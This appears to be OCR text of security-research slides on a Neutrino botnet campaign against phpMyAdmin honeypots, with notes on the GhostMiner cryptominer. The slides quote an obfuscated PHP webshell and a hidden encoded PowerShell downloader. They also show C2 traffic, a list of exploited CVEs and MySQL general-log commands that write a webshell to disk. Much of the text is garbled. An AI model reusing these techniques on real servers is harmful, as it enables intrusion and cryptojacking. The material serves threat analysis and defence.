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Who we are?

Alex Goncharov

- PTESC - PTESC

- Network security expert - OSINT expert

- Telegram: @kirill_wow - Telegram: @goncharov_alex
- Twitter: @kirill_wow - Twitter: @b4baysky

- kshipulin@ptsecurity.com - AlGoncharov@ptsecurity.com
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/index.php HTTP/1.1 (application/x-www-form-urlencoded)
/bbs.php HTTP/1.1 (application/x-www-form-urlencoded)
/forum.php HTTP/1.1 (application/x-www-form-urlencoded)
/forums.php HTTP/1.1 (application/x-www-form-urlencoded)
/bbs/index.php HTTP/1.1 (application/x-www-form-urlencoded)
/forum/index.php HTTP/1.1 (application/x-www-form-urlencoded)
/forums/index.php HTTP/1.1 (application/x-www-form-urlencoded)
/help.php HTTP/1.1

/java.php HTTP/1.1

/ _query.php HTTP/1.1

/test.php HTTP/1.1

/db_cts.php HTTP/1.1

/db_pma.php HTTP/1.1

/logon.php HTTP/1.1

/help-e.php HTTP/1.1

/license.php HTTP/1.1

/log.php HTTP/1.1

/hell.php HTTP/1.1 §HTML Form URL Encoded: application/x-www-fo
/pmd_online.php HTTH 4 Form item: "ping" = “"die(@mdS5(April));"
/x.php HTTP/1.1 Key: ping

/shell.php HTTP/1.1 Value: die(@mdS(April));

/htdocs.php HTTP/1.
/b.php HTTP/1.1
/sane.php HTTP/1.1
/desktop.ini.php HTTP/1.1




Shell upload

We prepared script
that answers
correct mdb

And

We got webshell
upload attempt

<?php /*1*/$CF/*2*/="c"'./*3*/"". 'r' . [*exit;*/"". e " . /*S*/"" . "a'./*6*/"". "t . /*7*/"" . "e" . /*8*/""." ".
*7*/ LA /e /L 0 L /*5* /M. "n" 3 9EB/*die() s */=@9CF/*3* /(" ", e . . /*2*/ v LN /*1*/at . " /*e* /"]
e T ] e e e e ) - S D e 3 e P A ] et e

*echo*/' ("QHN1c3Npb25fc3RhcnQoKTtpZihpc3N1dCgkX1BPU1RbI2NvZGUNnXSkpc3Vic3RyKHNOYTEODWQLKCRFUEITVFsnYS
Glzc2VOKCRTUBVTURLPT1sndGh1Q29kZSddKS1AZXZhbChiYXNINJRfZGVib2R1IKCRfUBGVTURL1PT1sndGh1Q29kZSddKSk7")); "



The payload

Check if
planted

Execute
payload

>POST /images.php “...code=ZGlKCJIZWxsbywgUGVwcGEhlik7"
<HTTP/1.1200 OK “Hello, Peppa!”

>POST /images.php “...code=JHRpbWUg...500 bytes...”
<HTTP/1.1200 OK “Hello, Peppa!lWindows NT DESKTOP 5.1 build 2600 +

User:0(SYSTEM)/Group:0(?) ... [redacted]|”

>POST /images.php “...code=QGluaV9...5500 bytes...”
<HTTP/1.1200 OK “successsuccesssuccess”

-
Monero
miner




1: GhostMiner

WM
persistence

clc

GhostMiner: Cryptomining Malware Goes Fils

March 22, 2018 | Asaf Aprozper and Gal Bitensky

Fileless Ki“_
competitors

Fileless Cryptocurrency-Miner GhostMiner Weaponizes WMI
Objects, Kills Other Cryptocurrency-Mining Payloads

Posted on: September 19, 2019 at 5:14 am Posted in: Malware Author: Trend Micro

0= 00O

By Carl Maverick Pascual (Threats Analyst)

Cybercriminals continue to use cryptocurrency-mining malware
to abuse computing resources for profit. As early as 2017, we
have also observed how they have applied fileless techniques to
make detection and monitoring more difficult.

Cybercriminals are increasingly relying on malicious cryptominers as a way of making money
online, often shifting from using ransomware or diversifying revenue streams.



2: Neutrino

4276 powershell.exe —-NoP -NonI —-EP ByPass —-W Hidden -E

SQBFAFgAIAACAE4AAZQB3ACOATWBiAGOAZQBJAHQATABOAGUAdAAUAFCAZQBIAEMA
bABpAGUAbgBOACKALgBEAGSEAdwBUAGWADbWBhAGQAUWBOAHTAaQBUAGCAKAANAGgA
dABOAHAAOgAVACB8AMQAZADQALgAXADCANQAUADMAMWAUADCAMQAVAFUACABKAGEA
dAB1ACBAUABTAE4ALWBfAE4AZQB1AHQACgBpAGAADbWAUAHAACWAXACCAKQA /AA==

/

Downloads
Neutrino.ps1

SCAN THE

\\\\\\\\\N___ __///////;:§> INTERNET

Self-inject DLL



Neutrino scans

Minerva labs report 2018 New modules 2 years later

-

—_—  —— _—

- XAMPP WebDAYV search
. MSSQL bruteforceforxp_cmdshell . CVE-2010-3055 (PMA)

- PhpMyAdmin bruteforce . CVE-2013-2618

Webshell names bruteforce . WebLogic RCE (CVE-2017-10271)
- WebLogic RCE (CVE-2018-2628)
- 11S 6.0 RCE (CVE-2017-7269)
- Struts2 (CVE-2018-11776)

HTML Form URL Encoded: application/x-www-for - Ethereum nodes search

4 Form item: "ping” = "die(@nds(Apri1));” . ThinkPHP RCE (CVE-2019-9082)
Key: ping :
Value: die(@md5(April)); + Honeypot detection

- rConfig RCE (CVE-2019-16662)
- ..and many more



Neutrino C2

POST /prlog/Tunnel.php HTTP/1.1

Accept: */*

Accept-Language: en-U5,en;q=0.8 : :
Content-Type: application/x-www-form-urlencoded Auth 0 rization
Cookie: auth=bc@@595448e881f8a5d2a2ad13b9791b fields

Referer: https://www.apple.com/
Cache-Control: no-cache
User-Agent: Mozilla/5.8 (Windows NT 6.1; Win64; x64; rv:57.8) Gecko/20100101 Firefox/57.8

e HTTP/1.1 502 Gateway Error
Contentjler‘gtm 163 Date: Wed, 12 Dec 2018 14:28:44 GMT
Connection: Close Server: Apache/2.2.21 (Win32) PHP/5.3.1@

X-Powered-By: PHP/5.3.1@
msg=Y21kIkMANTVGQUEYIINFULZFUKIOT gynsire: -1

Cache-Control: no-store,private,post-check=8,pre-check=0,max-age=0
Prama: no-cache

Content-Length: 88

Connection: close

Content-Type: text/plain

1521003310 Rate 10#1521814847 PMAFind Random#
582 Gateway Error
< - = -MTUyMTAWMzMxMCBSYXR1IIDEWIZEIMJEAMTQANDCcgUELIBRmIUZCBSYWSkb28 - -->



Why it is Neutrino?

Now Previous versions

— —_
B ——

- _————

+ Same headers and server response + Same headers and server response

+ Same commands format and url name + Same commands format and url name
- Distributes with public vulnerabilities - Distributed via spam, EK, drive by

- Ghostminer payload, RAT - DDoS bot, Stealer, RAT

SetErrorMode(3u);

if ( !sub_1314C4A1("Globall\\Neutrino") )
ExitProcess(0);

hMem = LocalAlloc(@x48u, ©x100000u);



Exploiting proxies
Go Simple Tunnel

Recruiter
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tasks.php
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Exploiting proxies
Go Simple Tunnel

Recruiter
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— =) Distributors
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I;l Bot gets a new task,
e.g. 'PMAFind” C&C proxies

Tunnel.php

C&C
tasks.php



Exploiting proxies
Go Simple Tunnel

-
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Bot scans for
a new victim
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Exploiting proxies
Go Simple Tunnel

Recruiter
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Bot reports the
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Finally, Recruiter
uses images.php to Exploiting proxies Recruiter
force victimto Go Simple Tunnel ?
download Neutrino
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PMA honeypot

Exploitation steps:

1. PhpMyAdmin login
2. Recon:checkacouple of scripts

3.
SELECT "<?php ?>" INTO OUTFILE "/home/wwwroot/images.php"
4. SET GLOBAL general log file = '/home/wwwroot/images.php'
SET GLOBAL general 1log = 'ON'
SELECT "<?php ... 2>"
SET GLOBAL general 1log = 'OFF"

SET GLOBAL general 1log file = 'MySQL.log'



C:\phpStudy\MySQIL\bin\mysgld.exe, Version: 5.5.53 (MySQL Community

- MySQL webshell . .. ...

Time Id Command Argument
181025 23:35:48
Realwebshell 244 guery SHOW GLOBAL VARIABLES
creationdate WHERE Variable name="general log"
Important ouit a -
246 Connect root@localhost on
246 Query SET CHARACTER SET 'utf8mb4'
Because 246 Query SET collation connection =

'utf8mb4 unicode ci'
File creation 246 Init DB mysqgl
time getting 246 Query SET GLOBAL general log file

resetto = 'C:\\phpStudy\\WWW\\roots.php'
2015-07-16  -uc ouic



Another campaign

Targets the same
PhpMyAdmin systems

Neutrino Another campaign
—_— —— — _—— — —_—
+ Same infection way + Same infection way
- BulkSQL queries - SQL queries1by1
- Planted webshellrequires authorization - Planted webshell without authorization

- Plants GhostMiner - Plants Trojan.Downloader



Scanning the internet
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Scanning the internet

Apache httpd version 221 Windows
HTTP/1.1 20@ OK maChine
Date: Sun, ©9 Dec 2018 ©2:39:18 GMT
Server: Apache/2.2.1 V/2 mod_ss1/2.2.11
X-Powered-By: PHP/5.2.8
phpstudy }'7"_'%%-'- for phpStudy 2014 not ABS7R phpStudy 5§t

Installs Apache,
MySQL,PHPina  mssssmes

REERA Windows NT PSER 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) i586

C l' I C k REF=EESR Windows PR#ZRRZA : NT RS ES = Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
RBE:XBES ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 BESEEl 80
RESEEE PSER EITEEE F:/phpStudy/WwWw
. SR RHEFE admin@phpStudy.net BEES F:/phpStudy/WWW/l.php
Still vulnerable =

to MySQL log
redirection
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